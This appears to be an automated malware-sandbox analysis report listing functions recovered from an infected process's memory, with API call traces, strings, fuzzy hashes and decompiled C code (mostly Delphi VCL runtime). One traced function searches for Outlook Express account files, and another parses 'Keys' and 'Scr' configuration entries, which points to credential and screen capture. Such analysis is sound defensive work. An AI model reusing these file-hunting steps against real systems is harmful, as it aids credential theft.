
API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$CreateHandlelstrcatmemcpymemset
String ID: .dll
API String ID: 455834338-2738580789
Opcode ID: 361b3d56d2e1153e7ef2baaa2886cac026c9d68af3a6c95a6e3ae933d4143369
Instruction ID: accab555f656c5faa389b0f6c00af47d2206f1d391d4b9079029825093b5d21b
Opcode Fuzzy Hash: 361b3d56d2e1153e7ef2baaa2886cac026c9d68af3a6c95a6e3ae933d4143369
Instruction Fuzzy Hash: FB8156B1948341AFD710DF25CC88A6BBBEDFB88744F00496EF595D2250EB30E919CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02349945, Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 233stringfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 0234D08A: ExpandEnvironmentStringsW.KERNEL32(0234122C,00000000,00000000,00000001,00000000,00000000,?,0234122C,00000000,?,?,00000000), ref: 0234D0A1
Part of subcall function 0234D08A: ExpandEnvironmentStringsW.KERNEL32(0234122C,00000000,00000000,00000000), ref: 0234D0BB

lstrlenW.KERNEL32(?,account{*}.oeaccount,00000001,?,00000250,?,00000000), ref: 02349991
lstrlenW.KERNEL32(?,?,00000000), ref: 0234999D
memset.NTDLL ref: 023499E5
FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349A00
lstrlenW.KERNEL32(00000000), ref: 02349A38
lstrlenW.KERNEL32(?), ref: 02349A40
memset.NTDLL ref: 02349A63
wcscpy.NTDLL ref: 02349A75
PathFindFileNameW.SHLWAPI(0000001C), ref: 02349A9B
RtlEnterCriticalSection.NTDLL(?), ref: 02349AD0

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

RtlLeaveCriticalSection.NTDLL(?), ref: 02349AEC
FindNextFileW.KERNEL32(?,00000000), ref: 02349B05
WaitForSingleObject.KERNEL32(00000000), ref: 02349B17
FindClose.KERNEL32(?), ref: 02349B2C
FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349B40
lstrlenW.KERNEL32(00000000), ref: 02349B62
FindNextFileW.KERNEL32(?,00000000), ref: 02349BD8
WaitForSingleObject.KERNEL32(00000000), ref: 02349BEA
FindClose.KERNEL32(?), ref: 02349C05

Strings

account{*}.oeaccount, xrefs: 0234998C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Find$Filelstrlen$CloseCriticalEnvironmentExpandFirstHeapNextObjectSectionSingleStringsWaitmemset$AllocateEnterFreeLeaveNamePathwcscpy
String ID: account{*}.oeaccount
API String ID: 2962561936-4234512180
Opcode ID: 29165d41aeaf7f66215310723b2710a635540b8f17972c80ff19aebfd7a9e4d6
Instruction ID: 13a5f2241469ebaadcbd8224f6b2039d7388808faef97efa6546fdf4ae8cf404
Opcode Fuzzy Hash: 29165d41aeaf7f66215310723b2710a635540b8f17972c80ff19aebfd7a9e4d6
Instruction Fuzzy Hash: 9F8159B1904345AFC721AF25DC88B1BBBE9FF88708F0488A9F88596152DB74E914CF61

Uniqueness

Uniqueness Score: -1.00%

Function 003B93D0, Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003B93D0(struct HWND__* __eax, void* __ecx, struct HWND__* __edx) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t161;
				struct HWND__* _t162;
				struct HWND__* _t163;
				void* _t166;
				struct HWND__* _t176;
				struct HWND__* _t185;
				struct HWND__* _t188;
				struct HWND__* _t189;
				struct HWND__* _t191;
				struct HWND__* _t197;
				struct HWND__* _t199;
				struct HWND__* _t202;
				struct HWND__* _t205;
				struct HWND__* _t206;
				struct HWND__* _t216;
				struct HWND__* _t217;
				struct HWND__* _t222;
				struct HWND__* _t224;
				struct HWND__* _t227;
				struct HWND__* _t231;
				struct HWND__* _t239;
				struct HWND__* _t247;
				struct HWND__* _t250;
				struct HWND__* _t254;
				struct HWND__* _t256;
				struct HWND__* _t257;
				struct HWND__* _t266;
				struct HWND__* _t268;
				intOrPtr _t271;
				struct HWND__* _t274;
				intOrPtr* _t275;
				struct HWND__* _t283;
				struct HWND__* _t285;
				struct HWND__* _t296;
				void* _t305;
				signed int _t307;
				struct HWND__* _t313;
				struct HWND__* _t314;
				struct HWND__* _t315;
				void* _t316;
				intOrPtr _t339;
				struct HWND__* _t343;
				intOrPtr _t365;
				void* _t369;
				struct HWND__* _t374;
				void* _t375;
				void* _t376;
				intOrPtr _t377;

				_t316 = __ecx;
				_push(_t369);
				_v12 = __edx;
				_v8 = __eax;
				_push(_t376);
				_push(0x3b9a8a);
				_push( *[fs:edx]);
				 *[fs:edx] = _t377;
				 *(_v12 + 0xc) = 0;
				_t305 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xa8)) + 8)) - 1;
				if(_t305 < 0) {
					L5:
					E003B9284(_v8, _t316, _v12);
					_t307 =  *_v12;
					_t161 = _t307;
					__eflags = _t161 - 0x53;
					if(__eflags > 0) {
						__eflags = _t161 - 0xb017;
						if(__eflags > 0) {
							__eflags = _t161 - 0xb020;
							if(__eflags > 0) {
								_t162 = _t161 - 0xb031;
								__eflags = _t162;
								if(_t162 == 0) {
									_t163 = _v12;
									__eflags =  *((intOrPtr*)(_t163 + 4)) - 1;
									if( *((intOrPtr*)(_t163 + 4)) != 1) {
										 *(_v8 + 0xb0) =  *(_v12 + 8);
									} else {
										 *(_v12 + 0xc) =  *(_v8 + 0xb0);
									}
									L102:
									_t166 = 0;
									_pop(_t339);
									 *[fs:eax] = _t339;
									goto L103;
								}
								__eflags = _t162 + 0xfffffff2 - 2;
								if(_t162 + 0xfffffff2 - 2 < 0) {
									 *(_v12 + 0xc) = E003BB298(_v8,  *(_v12 + 8), _t307) & 0x0000007f;
								} else {
									L101:
									E003B9348(_t376);
								}
								goto L102;
							}
							if(__eflags == 0) {
								_t176 = _v12;
								__eflags =  *(_t176 + 4);
								if( *(_t176 + 4) != 0) {
									E003BA00C(_v8, _t316,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								} else {
									E003B9FB0(_v8,  *( *(_v12 + 8)),  *((intOrPtr*)( *(_v12 + 8) + 4)));
								}
								goto L102;
							}
							_t185 = _t161 - 0xb01a;
							__eflags = _t185;
							if(_t185 == 0) {
								_t188 = IsIconic( *(_v8 + 0x30));
								__eflags = _t188;
								if(_t188 == 0) {
									_t189 = GetFocus();
									_t343 = _v8;
									__eflags = _t189 -  *((intOrPtr*)(_t343 + 0x30));
									if(_t189 ==  *((intOrPtr*)(_t343 + 0x30))) {
										_t191 = E003B1208(0);
										__eflags = _t191;
										if(_t191 != 0) {
											SetFocus(_t191);
										}
									}
								}
								goto L102;
							}
							__eflags = _t185 == 5;
							if(_t185 == 5) {
								L89:
								E003BA36C(_v8,  *(_v12 + 8),  *(_v12 + 4));
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t197 =  *(_v8 + 0x44);
							__eflags = _t197;
							if(_t197 != 0) {
								_t371 = _t197;
								_t199 = E003CEEB8(_t197);
								__eflags = _t199;
								if(_t199 != 0) {
									_t202 = IsWindowEnabled(E003CEEB8(_t371));
									__eflags = _t202;
									if(_t202 != 0) {
										_t205 = IsWindowVisible(E003CEEB8(_t371));
										__eflags = _t205;
										if(_t205 != 0) {
											 *0x3d9a6c = 0;
											_t206 = GetFocus();
											SetFocus(E003CEEB8(_t371));
											E003C9884(_t371,  *(_v12 + 4), 0x112,  *(_v12 + 8));
											SetFocus(_t206);
											 *0x3d9a6c = 1;
											 *(_v12 + 0xc) = 1;
										}
									}
								}
							}
							goto L102;
						}
						__eflags = _t161 - 0xb000;
						if(__eflags > 0) {
							_t216 = _t161 - 0xb001;
							__eflags = _t216;
							if(_t216 == 0) {
								_t217 = _v8;
								__eflags =  *((short*)(_t217 + 0x10a));
								if( *((short*)(_t217 + 0x10a)) != 0) {
									 *((intOrPtr*)(_v8 + 0x108))();
								}
								goto L102;
							}
							__eflags = _t216 == 0x15;
							if(_t216 == 0x15) {
								_t222 = E003B9E88(_v8, _t316, _v12);
								__eflags = _t222;
								if(_t222 != 0) {
									 *(_v12 + 0xc) = 1;
								}
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t224 = _v8;
							__eflags =  *((short*)(_t224 + 0x112));
							if( *((short*)(_t224 + 0x112)) != 0) {
								 *((intOrPtr*)(_v8 + 0x110))();
							}
							goto L102;
						}
						_t227 = _t161 - 0x112;
						__eflags = _t227;
						if(_t227 == 0) {
							_t231 = ( *(_v12 + 4) & 0x0000fff0) - 0xf020;
							__eflags = _t231;
							if(_t231 == 0) {
								E003B9AF0(_v8);
							} else {
								__eflags = _t231 == 0x100;
								if(_t231 == 0x100) {
									E003B9BA0(_v8);
								} else {
									E003B9348(_t376);
								}
							}
							goto L102;
						}
						_t239 = _t227 + 0xffffffe0 - 7;
						__eflags = _t239;
						if(_t239 < 0) {
							 *(_v12 + 0xc) = SendMessageA( *(_v12 + 8), _t307 + 0xbc00,  *(_v12 + 4),  *(_v12 + 8));
							goto L102;
						}
						__eflags = _t239 == 0x1e1;
						if(_t239 == 0x1e1) {
							_t247 = E003A937C(E003A929C());
							__eflags = _t247;
							if(_t247 != 0) {
								E003A93D8(E003A929C());
							}
							goto L102;
						} else {
							goto L101;
						}
					}
					if(__eflags == 0) {
						goto L89;
					}
					__eflags = _t161 - 0x16;
					if(__eflags > 0) {
						__eflags = _t161 - 0x1d;
						if(__eflags > 0) {
							_t250 = _t161 - 0x37;
							__eflags = _t250;
							if(_t250 == 0) {
								 *(_v12 + 0xc) = E003B9AD4(_v8);
								goto L102;
							}
							__eflags = _t250 == 0x13;
							if(_t250 == 0x13) {
								_t254 = _v12;
								__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t254 + 8)))) - 0xde534454;
								if( *((intOrPtr*)( *((intOrPtr*)(_t254 + 8)))) == 0xde534454) {
									_t256 = _v8;
									__eflags =  *((char*)(_t256 + 0x9e));
									if( *((char*)(_t256 + 0x9e)) != 0) {
										_t257 = _v8;
										__eflags =  *(_t257 + 0xa0);
										if( *(_t257 + 0xa0) != 0) {
											 *(_v12 + 0xc) = 0;
										} else {
											_t313 = E0038CFB8("vcltest3.dll", _t307, 0x8000);
											 *(_v8 + 0xa0) = _t313;
											__eflags = _t313;
											if(_t313 == 0) {
												 *(_v12 + 0xc) = GetLastError();
												 *(_v8 + 0xa0) = 0;
											} else {
												 *(_v12 + 0xc) = 0;
												_push("RegisterAutomation");
												_t266 =  *(_v8 + 0xa0);
												_push(_t266);
												L00386224();
												_t374 = _t266;
												_t314 = _t374;
												__eflags = _t374;
												if(_t374 != 0) {
													_t268 =  *(_v12 + 8);
													_t314->i( *((intOrPtr*)(_t268 + 4)),  *((intOrPtr*)(_t268 + 8)));
												}
											}
										}
									}
								}
								goto L102;
							} else {
								goto L101;
							}
						}
						if(__eflags == 0) {
							_t271 =  *0x3dbb20; // 0x2141474
							E003B8888(_t271);
							E003B9348(_t376);
							goto L102;
						}
						_t274 = _t161 - 0x1a;
						__eflags = _t274;
						if(_t274 == 0) {
							_t275 =  *0x3da1d0; // 0x3dbb58
							E003D37CC( *_t275, _t316,  *(_v12 + 4));
							E003B92DC(_v8, _t307, _t316, _v12, _t369);
							E003B9348(_t376);
							goto L102;
						}
						__eflags = _t274 == 2;
						if(_t274 == 2) {
							E003B9348(_t376);
							_t283 = _v12;
							__eflags =  *((intOrPtr*)(_t283 + 4)) - 1;
							asm("sbb eax, eax");
							 *((char*)(_v8 + 0x9d)) = _t283 + 1;
							_t285 = _v12;
							__eflags =  *(_t285 + 4);
							if( *(_t285 + 4) == 0) {
								E003B91D8();
								PostMessageA( *(_v8 + 0x30), 0xb001, 0, 0);
							} else {
								E003B91E8(_v8);
								PostMessageA( *(_v8 + 0x30), 0xb000, 0, 0);
							}
							goto L102;
						} else {
							goto L101;
						}
					}
					if(__eflags == 0) {
						_t296 = _v12;
						__eflags =  *(_t296 + 4);
						if( *(_t296 + 4) != 0) {
							 *((char*)(_v8 + 0x9c)) = 1;
						}
						goto L102;
					}
					__eflags = _t161 - 0x14;
					if(_t161 > 0x14) {
						goto L101;
					}
					switch( *((intOrPtr*)(_t161 * 4 +  &M003B9474))) {
						case 0:
							0 = E0039C734(0, __ebx, __edi, __esi);
							goto L102;
						case 1:
							goto L101;
						case 2:
							_push(0);
							_push(0);
							_push(0xb01a);
							_v8 =  *(_v8 + 0x30);
							_push( *(_v8 + 0x30));
							L003868C4();
							__eax = E003B9348(__ebp);
							goto L102;
						case 3:
							__eax = _v12;
							__eflags =  *(__eax + 4);
							if( *(__eax + 4) == 0) {
								__eax = E003B9348(__ebp);
								__eax = _v8;
								__eflags =  *(__eax + 0xac);
								if( *(__eax + 0xac) == 0) {
									__eax = _v8;
									__eax =  *(_v8 + 0x30);
									__eax = E003B10B8( *(_v8 + 0x30), __ebx, __edi, __esi);
									__edx = _v8;
									 *(_v8 + 0xac) = __eax;
								}
								_v8 = L003B91E0();
							} else {
								_v8 = E003B91E8(_v8);
								__eax = _v8;
								__eax =  *(_v8 + 0xac);
								__eflags = __eax;
								if(__eax != 0) {
									__eax = _v8;
									__edx = 0;
									__eflags = 0;
									 *(_v8 + 0xac) = 0;
								}
								__eax = E003B9348(__ebp);
							}
							goto L102;
						case 4:
							__eax = _v8;
							__eax =  *(_v8 + 0x30);
							_push(__eax);
							L0038682C();
							__eflags = __eax;
							if(__eax == 0) {
								__eax = E003B9348(__ebp);
							} else {
								__eax = E003B9384(__ebp);
							}
							goto L102;
						case 5:
							__eax = _v8;
							__eax =  *(_v8 + 0x44);
							__eflags = __eax;
							if(__eax != 0) {
								__eax = E003B6A88(__eax, __ecx);
							}
							goto L102;
						case 6:
							__eax = _v12;
							 *_v12 = 0x27;
							__eax = E003B9348(__ebp);
							goto L102;
					}
				} else {
					_t315 = _t305 + 1;
					_t375 = 0;
					L2:
					L2:
					if( *((intOrPtr*)(E00396F34( *((intOrPtr*)(_v8 + 0xa8)), _t375)))() == 0) {
						goto L4;
					} else {
						_t166 = 0;
						_pop(_t365);
						 *[fs:eax] = _t365;
					}
					L103:
					return _t166;
					L4:
					_t375 = _t375 + 1;
					_t315 = _t315 - 1;
					__eflags = _t315;
					if(_t315 != 0) {
						goto L2;
					}
					goto L5;
				}
			}

0x003b93d0
0x003b93d7
0x003b93d9
0x003b93dc
0x003b93e1
0x003b93e2
0x003b93e7
0x003b93ea
0x003b93f2
0x003b9401
0x003b9404
0x003b9438
0x003b943e
0x003b9446
0x003b9448
0x003b944a
0x003b944d
0x003b9501
0x003b9506
0x003b9557
0x003b955c
0x003b957d
0x003b957d
0x003b9582
0x003b99f2
0x003b99f5
0x003b99f9
0x003b9a15
0x003b99fb
0x003b9a07
0x003b9a07
0x003b9a80
0x003b9a80
0x003b9a82
0x003b9a85
0x00000000
0x003b9a85
0x003b958b
0x003b958e
0x003b984d
0x003b9594
0x003b9a79
0x003b9a7a
0x003b9a7f
0x00000000
0x003b958e
0x003b955e
0x003b99b9
0x003b99bc
0x003b99c0
0x003b99e8
0x003b99c2
0x003b99d0
0x003b99d0
0x00000000
0x003b99c0
0x003b9564
0x003b9564
0x003b9569
0x003b9967
0x003b996c
0x003b996e
0x003b9974
0x003b9979
0x003b997c
0x003b997f
0x003b9987
0x003b998c
0x003b998e
0x003b9995
0x003b9995
0x003b998e
0x003b997f
0x00000000
0x003b996e
0x003b956f
0x003b9572
0x003b999f
0x003b99af
0x00000000
0x003b9578
0x00000000
0x003b9578
0x003b9572
0x003b9508
0x003b987a
0x003b987d
0x003b987f
0x003b9885
0x003b9889
0x003b988e
0x003b9890
0x003b989e
0x003b98a3
0x003b98a5
0x003b98b3
0x003b98b8
0x003b98ba
0x003b98c0
0x003b98c7
0x003b98d6
0x003b98ef
0x003b98f5
0x003b98fa
0x003b9904
0x003b9904
0x003b98ba
0x003b98a5
0x003b9890
0x00000000
0x003b987f
0x003b950e
0x003b9513
0x003b953e
0x003b953e
0x003b9543
0x003b9938
0x003b993b
0x003b9943
0x003b9955
0x003b9955
0x00000000
0x003b9943
0x003b9549
0x003b954c
0x003b985b
0x003b9860
0x003b9862
0x003b986b
0x003b986b
0x00000000
0x003b9552
0x00000000
0x003b9552
0x003b954c
0x003b9515
0x003b9910
0x003b9913
0x003b991b
0x003b992d
0x003b992d
0x00000000
0x003b991b
0x003b951b
0x003b951b
0x003b9520
0x003b95a4
0x003b95a4
0x003b95a9
0x003b95b7
0x003b95ab
0x003b95ab
0x003b95b0
0x003b95c4
0x003b95b2
0x003b95cf
0x003b95d4
0x003b95b0
0x00000000
0x003b95a9
0x003b9525
0x003b9525
0x003b9528
0x003b975c
0x00000000
0x003b975c
0x003b952e
0x003b9533
0x003b9a5b
0x003b9a60
0x003b9a62
0x003b9a69
0x003b9a69
0x00000000
0x003b9539
0x00000000
0x003b9539
0x003b9533
0x003b9453
0x00000000
0x00000000
0x003b9459
0x003b945c
0x003b94c8
0x003b94cb
0x003b94ea
0x003b94ea
0x003b94ed
0x003b963a
0x00000000
0x003b963a
0x003b94f3
0x003b94f6
0x003b9780
0x003b9786
0x003b978c
0x003b9792
0x003b9795
0x003b979c
0x003b97a2
0x003b97a5
0x003b97ac
0x003b982c
0x003b97ae
0x003b97bd
0x003b97c2
0x003b97c8
0x003b97ca
0x003b9814
0x003b981c
0x003b97cc
0x003b97d1
0x003b97d4
0x003b97dc
0x003b97e2
0x003b97e3
0x003b97e8
0x003b97ea
0x003b97ec
0x003b97ee
0x003b97f7
0x003b9805
0x003b9805
0x003b97ee
0x003b97ca
0x003b97ac
0x003b979c
0x00000000
0x003b94fc
0x00000000
0x003b94fc
0x003b94f6
0x003b94cd
0x003b9a43
0x003b9a48
0x003b9a4e
0x00000000
0x003b9a53
0x003b94d3
0x003b94d3
0x003b94d6
0x003b9a23
0x003b9a2a
0x003b9a35
0x003b9a3b
0x00000000
0x003b9a40
0x003b94dc
0x003b94df
0x003b9664
0x003b966a
0x003b966d
0x003b9671
0x003b9677
0x003b967d
0x003b9680
0x003b9684
0x003b96ab
0x003b96c0
0x003b9686
0x003b9689
0x003b969e
0x003b969e
0x00000000
0x003b94e5
0x00000000
0x003b94e5
0x003b94df
0x003b945e
0x003b9764
0x003b9767
0x003b976b
0x003b9774
0x003b9774
0x00000000
0x003b976b
0x003b9464
0x003b9467
0x00000000
0x00000000
0x003b946d
0x00000000
0x003b9a72
0x00000000
0x00000000
0x00000000
0x00000000
0x003b9642
0x003b9644
0x003b9646
0x003b964e
0x003b9651
0x003b9652
0x003b9658
0x00000000
0x00000000
0x003b96ca
0x003b96cd
0x003b96d1
0x003b9705
0x003b970b
0x003b970e
0x003b9715
0x003b9717
0x003b971a
0x003b971d
0x003b9722
0x003b9725
0x003b9725
0x003b972e
0x003b96d3
0x003b96d6
0x003b96db
0x003b96de
0x003b96e4
0x003b96e6
0x003b96ed
0x003b96f0
0x003b96f0
0x003b96f2
0x003b96f2
0x003b96f9
0x003b96fe
0x00000000
0x00000000
0x003b95f2
0x003b95f5
0x003b95f8
0x003b95f9
0x003b95fe
0x003b9600
0x003b960f
0x003b9602
0x003b9603
0x003b9608
0x00000000
0x00000000
0x003b95da
0x003b95dd
0x003b95e0
0x003b95e2
0x003b95e8
0x003b95e8
0x00000000
0x00000000
0x003b961a
0x003b961d
0x003b9624
0x00000000
0x00000000
0x003b9406
0x003b9406
0x003b9407
0x00000000
0x003b9409
0x003b9425
0x00000000
0x003b9427
0x003b9427
0x003b9429
0x003b942c
0x003b942c
0x003b9a9f
0x003b9aa5
0x003b9434
0x003b9434
0x003b9435
0x003b9435
0x003b9436
0x00000000
0x00000000
0x00000000
0x003b9436

Strings

vcltest3.dll, xrefs: 003B97B3
RegisterAutomation, xrefs: 003B97D4

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RegisterAutomation$vcltest3.dll
API String ID: 0-2963190186
Opcode ID: 6b5c594ecb89d7934cf984a5682bb85a0a7c2d0c939423b032ebf518a67cc3ff
Instruction ID: 0080315462bce44810b6e85999cb69b3c5c3e003b3a2f975e2c682a9ea2d705c
Opcode Fuzzy Hash: 6b5c594ecb89d7934cf984a5682bb85a0a7c2d0c939423b032ebf518a67cc3ff
Instruction Fuzzy Hash: 5CE11B35A04204DFDB12DBA8C585BDDB7B9AF49318F2581E6E705ABB52C734EE40DB80

Uniqueness

Uniqueness Score: -1.00%

Function 0235404C, Relevance: 25.0, APIs: 12, Strings: 2, Instructions: 508memoryCOMMON

Download Yara Rule

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 02354084
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 023540B6
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 023540E8
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 0235411A
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 0235414C
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 0235417E
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 023541B0
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 023541E2
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 02354214
HeapFree.KERNEL32(00000000,?,Scr), ref: 0235439F

Part of subcall function 02351943: RtlEnterCriticalSection.NTDLL(04908F48), ref: 0235194C
Part of subcall function 02351943: HeapFree.KERNEL32(00000000,?), ref: 0235197E
Part of subcall function 02351943: RtlLeaveCriticalSection.NTDLL(04908F48), ref: 0235199C

HeapFree.KERNEL32(00000000,?,Keys), ref: 023543DE
StrToIntExA.SHLWAPI(00000000,00000000,?), ref: 02354438

Part of subcall function 0234672E: lstrlen.KERNEL32(?,?,00000000,0236182F,02341093,?,?,?,00000000,?,?,?,?), ref: 02346737
Part of subcall function 0234672E: memcpy.NTDLL(00000000,00000000,00000000,00000001,?,?,00000000,?,?,?,?), ref: 0234675A
Part of subcall function 0234672E: memset.NTDLL ref: 02346769

Strings

Keys, xrefs: 023543A9
Scr, xrefs: 0235437E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavelstrlenmemcpymemset
String ID: Keys$Scr
API String ID: 2064646876-3950322802
Opcode ID: 1e3b2a63d5b0b37ee86a1ddcb989045bd5c4172be43c6a50b86f15d5f3384b43
Instruction ID: b444318f6dea435c0b99eb840b0c134a58b1b13fd59d01ea39ba2f35ed61229d
Opcode Fuzzy Hash: 1e3b2a63d5b0b37ee86a1ddcb989045bd5c4172be43c6a50b86f15d5f3384b43
Instruction Fuzzy Hash: E2F1C6E0F50231ABD728EF759D8CD1B77ED9B187487508C61EE09D7204DB34D9A58B60

Uniqueness

Uniqueness Score: -1.00%

Function 003851E8, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 136
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E003851E8(char* __eax, intOrPtr __edx) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				struct _WIN32_FIND_DATAA _v334;
				char _v595;
				struct HINSTANCE__* _t37;
				void* _t45;
				char* _t54;
				char* _t64;
				void* _t82;
				struct HINSTANCE__* _t83;
				char* _t89;
				struct HINSTANCE__* _t90;
				char* _t92;
				void* _t93;
				char* _t94;
				void* _t95;

				_v12 = __edx;
				_v8 = __eax;
				_v16 = _v8;
				_t37 = GetModuleHandleA("kernel32.dll");
				_t90 = _t37;
				if(_t90 == 0) {
					L4:
					if( *_v8 != 0x5c) {
						_t92 = _v8 + 2;
						goto L10;
					} else {
						if( *((char*)(_v8 + 1)) == 0x5c) {
							_t94 = E003851D4(_v8 + 2);
							if( *_t94 != 0) {
								_t14 = _t94 + 1; // 0x1
								_t92 = E003851D4(_t14);
								if( *_t92 != 0) {
									L10:
									_t82 = _t92 - _v8;
									_push(_t82 + 1);
									_push(_v8);
									_push( &_v595);
									L003812A4();
									while( *_t92 != 0) {
										_t89 = E003851D4(_t92 + 1);
										_t45 = _t89 - _t92;
										if(_t45 + _t82 + 1 <= 0x105) {
											_push(_t45 + 1);
											_push(_t92);
											_push( &(( &_v595)[_t82]));
											L003812A4();
											_t93 = FindFirstFileA( &_v595,  &_v334);
											if(_t93 != 0xffffffff) {
												FindClose(_t93);
												_t54 =  &(_v334.cFileName);
												_push(_t54);
												L003812AC();
												if(_t54 + _t82 + 1 + 1 <= 0x105) {
													 *((char*)(_t95 + _t82 - 0x24f)) = 0x5c;
													_push(0x105 - _t82 - 1);
													_push( &(_v334.cFileName));
													_push( &(( &(( &_v595)[_t82]))[1]));
													L003812A4();
													_t64 =  &(_v334.cFileName);
													_push(_t64);
													L003812AC();
													_t82 = _t82 + _t64 + 1;
													_t92 = _t89;
													continue;
												}
											}
										}
										goto L17;
									}
									_push(_v12);
									_push( &_v595);
									_push(_v8);
									L003812A4();
								}
							}
						}
					}
				} else {
					_push("GetLongPathNameA");
					_push(_t90);
					L0038127C();
					_t83 = _t37;
					if(_t83 == 0) {
						goto L4;
					} else {
						_push(0x105);
						_push( &_v595);
						_push(_v8);
						if(_t83->i() == 0) {
							goto L4;
						} else {
							_push(_v12);
							_push( &_v595);
							_push(_v8);
							L003812A4();
						}
					}
				}
				L17:
				return _v16;
			}

0x003851f4
0x003851f7
0x003851fd
0x00385205
0x0038520a
0x0038520e
0x00385250
0x00385256
0x00385293
0x00000000
0x00385258
0x0038525f
0x00385270
0x00385275
0x0038527b
0x00385283
0x00385288
0x00385296
0x00385298
0x0038529e
0x003852a2
0x003852a9
0x003852aa
0x00385355
0x003852bc
0x003852c0
0x003852cd
0x003852d4
0x003852d5
0x003852de
0x003852df
0x003852f7
0x003852fc
0x003852ff
0x00385304
0x0038530a
0x0038530b
0x0038531b
0x0038531d
0x0038532d
0x00385334
0x0038533e
0x0038533f
0x00385344
0x0038534a
0x0038534b
0x00385351
0x00385353
0x00000000
0x00385353
0x0038531b
0x003852fc
0x00000000
0x003852cd
0x00385361
0x00385368
0x0038536c
0x0038536d
0x0038536d
0x00385288
0x00385275
0x0038525f
0x00385210
0x00385210
0x00385215
0x00385216
0x0038521b
0x0038521f
0x00000000
0x00385221
0x00385221
0x0038522c
0x00385230
0x00385235
0x00000000
0x00385237
0x0038523a
0x00385241
0x00385245
0x00385246
0x00385246
0x00385235
0x0038521f
0x00385372
0x0038537b

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00385205
70D9FFF6.KERNEL32(00000000,GetLongPathNameA,kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?), ref: 00385216
lstrcpyn.KERNEL32(?,?,?,?,108B003D,003D90A4,?,00385448,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019,?), ref: 00385246
lstrcpyn.KERNEL32(?,?,?,kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000,003854A5,?,80000001,Software\Borland\Locales,00000000,000F0019), ref: 003852AA
lstrcpyn.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000,003854A5,?,80000001), ref: 003852DF
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000,003854A5), ref: 003852F2
FindClose.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B003D,003D90A4,?,00385448,00000000), ref: 003852FF
lstrlen.KERNEL32(?,00000000,?,?,?,?,00000001,?,?,?,kernel32.dll,?,108B003D,003D90A4,?,00385448), ref: 0038530B
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 0038533F
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 0038534B
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 0038536D

Strings

GetLongPathNameA, xrefs: 00385210
\, xrefs: 0038531D
kernel32.dll, xrefs: 00385200

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirstHandleModule
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 849661601-1565342463
Opcode ID: 00ccd124b0d086e48609148f78f294edac7e8d6fd28463e80d74420bf57fd9fb
Instruction ID: 68361b5b54b61197a5b210ed86038c65a693dcbfb848c384d959e687792345db
Opcode Fuzzy Hash: 00ccd124b0d086e48609148f78f294edac7e8d6fd28463e80d74420bf57fd9fb
